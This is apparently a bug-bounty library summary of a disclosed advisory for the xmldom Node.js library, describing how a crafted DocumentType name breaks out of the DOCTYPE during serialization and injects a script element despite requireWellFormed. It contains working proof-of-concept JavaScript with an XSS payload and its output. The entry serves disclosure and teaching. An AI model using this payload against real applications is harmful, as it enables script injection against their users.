# xmldom: DocType `name` Injection Bypasses requireWellFormed

xmldom serializer emits DocumentType.name verbatim, so a `>` in the name breaks out of the DOCTYPE and injects sibling markup even with requireWellFormed:true.

- Payout: Research
- Severity: high
- Program: xmldom
- Found by: karfau
- Disclosed: 2026-09-08
- CVE: CVE-2026-83608
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-27p8-2357-5qqv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-27p8-2357-5qqv
- Tags: area:oss domain:oss impact:integrity kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:xss

**Target:** XMLSerializer DOCUMENT_TYPE_NODE serialization path in lib/dom.js
**Root cause:** The requireWellFormed block in the serializer's DocType case validates publicId, systemId and internalSubset but never `name`, which is pushed verbatim between `<!DOCTYPE ` and `>`. DocumentType.name is a plain writable own-property, so a direct write bypasses createDocumentType validation.
**Steps:**
1. Create a doctype: `impl.createDocumentType('html', '', '')`
2. Overwrite the name: `dt.name = 'html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script'`
3. Build document: `impl.createDocument(null, 'r', dt)`
4. Serialize with `serializer.serializeToString(doc, { requireWellFormed: true })`
5. Observe output `<!DOCTYPE html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script><r/>` with no exception
6. On 0.8.x the malicious name can be passed directly to `createDocumentType()` since it is unvalidated
**How found:** Noticed the prior fix hardened publicId/systemId/internalSubset but the name field was left unguarded in the same requireWellFormed block, then checked whether name was writable and whether createDocumentType validated it per version line.
**Exploitation:** Attacker-influenced DocumentType.name (direct property write, or createDocumentType on 0.8.x/unscoped) is serialized into output; the `>` terminates the doctype early and the remainder becomes live sibling markup. If output is served as XHTML or parsed by a browser XML parser, the injected XHTML-namespace <script> executes.
**Escalation:** Bypasses the requireWellFormed:true mitigation recommended for prior xmldom injection CVEs (GHSA-f6ww-3ggp-fr8h), same family as element-name and attribute-name injection advisories.
**Insight:** When a hardening patch adds validation to a group of sibling fields, enumerate every other field emitted into the same syntactic construct — name-like fields are often plain writable properties, so creation-time validation is bypassable by direct assignment.

## Proof of concept (copied exactly from the original report)

**DocType name injection bypassing requireWellFormed**

```
const { DOMImplementation, XMLSerializer, DOMParser } = require('@xmldom/xmldom');

const impl = new DOMImplementation();
const serializer = new XMLSerializer();

// 0.9.x createDocumentType validates the name, so overwrite it via direct property write
const dt = impl.createDocumentType('html', '', '');
dt.name = 'html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script';
const doc = impl.createDocument(null, 'r', dt);

const output = serializer.serializeToString(doc, { requireWellFormed: true });
console.log(output);
// Output: <!DOCTYPE html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script><r/>
//
// requireWellFormed: true did NOT prevent the injection (no exception thrown).
// The injected <script> is well-formed XHTML that a browser would execute.
```

**0.8.x createDocumentType accepts malicious name**

```
createDocumentType('html><script>…', '', '')`
  accepts the malicious name directly (no creation-time validation), and
  `serializeToString(doc, null, null, { requireWellFormed: true })` produces
  `<!DOCTYPE html><script>alert(1)</script><r/>` with no exception.
```

**Fixed-path PoC showing opt-in throw**

```
const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

const impl = new DOMImplementation();
const serializer = new XMLSerializer();

const dt = impl.createDocumentType('html', '', '');
dt.name = 'html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script';
const doc = impl.createDocument(null, 'r', dt);

// Default path: the ill-formed name is still emitted verbatim (injection present).
console.log(serializer.serializeToString(doc));
// <!DOCTYPE html><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script><r/>

// Opt-in path: serialization throws instead of emitting the breakout.
serializer.serializeToString(doc, { requireWellFormed: true });
// throws InvalidStateError
```

